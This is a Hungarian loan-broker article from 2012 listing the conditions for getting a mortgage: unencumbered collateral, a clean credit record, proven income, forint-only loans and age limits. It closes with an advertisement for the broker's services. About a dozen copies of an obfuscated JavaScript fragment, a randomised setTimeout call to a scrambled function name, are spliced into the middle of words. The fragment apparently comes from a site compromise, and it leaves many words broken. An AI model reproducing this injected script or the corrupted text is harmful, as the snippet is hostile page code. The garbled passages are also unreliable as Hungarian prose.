Jelzáloghitel feltételei

A gazdasági válság ráébresztette a bankokat arra, hogy komolyabban kell venniük a hitelbírálaandom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}tokat, így 2012-re a jelzáloghitel igénylés feltételei is jelentősen megszigorodtak! Eltűntek a piacról az önerő nélküli lakáshitelek, a jövedelemigazolás nélküli hitelfelvétel is minden banknál megszűnt, valamint sajnos a BAR listával rendelkezők sem számíthatnak már segítségre egyetlen hazai kereskedelmi banktól sem. A pénzintézetek ugyanis a jó adósokat megszerzését tűzték ki célul, így mielőtt jelzáloghitel igénylésre adnánk a fejünket, jó ha tisztában vagyunk az alábbi 5 fonandom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}tos kitétellel. (Fonandom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}tos megjegyezni, hogy ezek a feltételek nem általunk kínált feltételek, hanem olyan törvényi alapszabályok, amelyeknek minden banknál meg kell felelnünk, és amelyek megléte így minden pénzintézetnél szükséges a sikeres hiteligényléshez!)

Ingatlanfedezet:

Jelzáloghitelek esetében, a hiteligénylés nem valósítható meg ingatlanfedezet nélkül, amelynek minden esetben tehermentesnek kell lennie, és forgalmi értékének legalább az 5-6 millió forinandom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}tot el kell érnie, mert ennél kisebb értékű ingatlant a bankok nem hiteleznek. A maximális hitelösszeg, amelyet felvehetünk az a fedezeti ingatlan forgalmi értékének 75%-a, amelyet mindig az adott bank értékbecslője határoz meg. A várható, bank szerinti forgalmi értéket azonban mi is ki tudjuk következtetni, ha a piaci ár 80-85%-ával számolunk.

Pénzügyi múlt:

A következő feltétel az adósra és az esetleges adóstársakra vonatkozik. A jelzáloghitel igényléshez elengedhetetlen a rendezett pénzügyi múlt, amely kizárja a BAR listás státuszt, a közüzemi- és az APEH tarandom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}tozást, valamint a felmondott vagy nem fizetett hiteleket. Ha tehát valamilyen hátralékunk, vagy kintlévőségünk van a hiteligénylés előtt, akkor azokat célszerű mihamarabb rendezni!

Pénzügyi jelen

A pénzügyi múlt mellett a hiteligénylők pénzügyi „jelene” is fonandom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}tos szempont, hiszen a bank ezek alapján bizonyosodik meg, hogy a hitel vissza is lesz fizetve. Ponandom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}tosan azért az elvárt jövedelmet a havi törlesztő nagyságához köti, amelynek minimálisan 2-3x nagyobbnak kell lennie, mint az az összeg , amit majd a hitelre fizetünk havonta. További elvárás, hogy a havi igazolt összjövedelemnek minden esetben számlára kell érkeznie, és az összege természetesen adóstársak bevonásával növelhető! Arra azonban figyeljünk, hogy a legalább fél éves tartó bejelentett munkaviszony mindenkinél meglegyen, vállalkozók esetében pedig APEH igazolással tudjuk alátámasztani a jövedelmünket!

A hitel devizaneme

Jelzáloghitel 2012-ben már csak forint alapon igényelhető, de azt hiszem a válságból tanulva, nem is nagyon lenne olyan közülünk aki szívesen adósodna el inkább valamelyik devizában.

A hiteligénylők életkora

A legtöbb bank esetében a hitel futamideje legfeljebb a hiteligénylő 70 éves koráig tarthat, az azonban, hogy több igénylő esetén a fiatalabb vagy az idősebb szereplő életkorát veszik alapul a bank, már szintén pénzintézet függő.

A fentiek alapján láthatjuk tehát, hogy jelzáloghitelhez jutni már nem olyan könnyű mint a válság előtt, de megfelelő szakmai segítséggel mi is maximalizálhatjuk az esélyeinket. A hitel.eu csapata több mint 6 éves tapasztalattal rendelkezik a hitelügyintézés területén, így segítségünkkel Ön nagyobb eséllyel kaphatja meg a kiválaszandom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}tott hitelt, mintha egyenesen a bankba ment volna. Ehhez az alábbi jelzáloghitel kalkuláandom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}tor segítségével pillanaandom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}tok alatt kiszámolhatja havi törlesztőjét és néhány kattintással a közreműködésünket is kérheti. Mi pedig legfeljebb 2 munkanapon belül felvesszük Önnel a kapcsolaandom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}tot és díjmentesen segítünk Önnek abban, hogy a jelzáloghitelt a legnagyobb eséllyel meg is kapja!